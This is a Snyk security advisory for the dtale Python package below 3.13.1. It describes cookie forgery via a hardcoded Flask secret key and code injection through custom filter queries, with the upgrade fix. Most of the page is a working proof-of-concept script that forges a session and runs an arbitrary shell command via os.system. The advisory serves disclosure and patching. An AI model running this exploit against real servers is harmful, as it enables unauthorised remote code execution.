Improper Input Validation Affecting dtale package, versions [,3.13.1)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-DTALE-7218838
- published 7 Jun 2024
- disclosed 6 Jun 2024
- credit ozelis
How to fix?
Upgrade dtale
to version 3.13.1 or higher.
Overview
dtale is a Web Client for Visualizing Pandas Objects
Affected versions of this package are vulnerable to Improper Input Validation due to the use of a hardcoded SECRET_KEY
in the flask configuration and improper restriction of custom filter queries. An attacker can forge a session cookie and execute arbitrary code on the server by bypassing the authentication mechanisms and exploiting the /update-settings
endpoint, even when enable_custom_filters
is not enabled.
Note:
This vulnerability can be exploited only if authentication is enabled.
PoC
import json, hashlib
from argparse import ArgumentParser
from urllib.parse import quote
# https://pypi.org/project/requests
from requests import Session # pip install requests
# https://pypi.org/project/itsdangerous/
from itsdangerous import URLSafeTimedSerializer # pip install itsdangerous
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("--url", default="http://localhost:40000")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
args = parser.parse_args()
url_base = args.url + "/dtale"
cmd = args.cmd
# forge a cookie in case there was authentication enabled:
signer_kwargs = { "key_derivation" : "hmac", "digest_method" : staticmethod(hashlib.sha1) }
ser = URLSafeTimedSerializer("Dtale", salt="cookie-session", signer_kwargs=signer_kwargs)
session = ser.dumps({"logged_in" : True, "username" : "whatever"})
print(f"{session = }")
with Session() as s:
s.cookies["session"] = session
# create any pandas DataFrame:
rsp = s.post(f"{url_base}/upload", files={
"poc.csv" : ("poc.csv", b"A,B\n1,1\n", "text/csv")
})
assert rsp.json()["success"]
# grab data_id:
data_id = rsp.json()["data_id"]
print(f"{data_id = }")
# update settings for this data_id and set filter query directly bypassing
# any checks:
settings = {"query": f'@pd.core.frame.com.builtins.__import__("os").system("""{cmd} #""")'}
settings = quote(json.dumps(settings))
rsp = s.get(f"{url_base}/update-settings/{data_id}?settings={settings}")
assert rsp.json()["success"]
# call any of the endpoints that trigger `run_query()`:
rsp = s.get(f"{url_base}/edit-cell/{data_id}")
# this will return some error as a response, but command was executed anyway
print(rsp.text)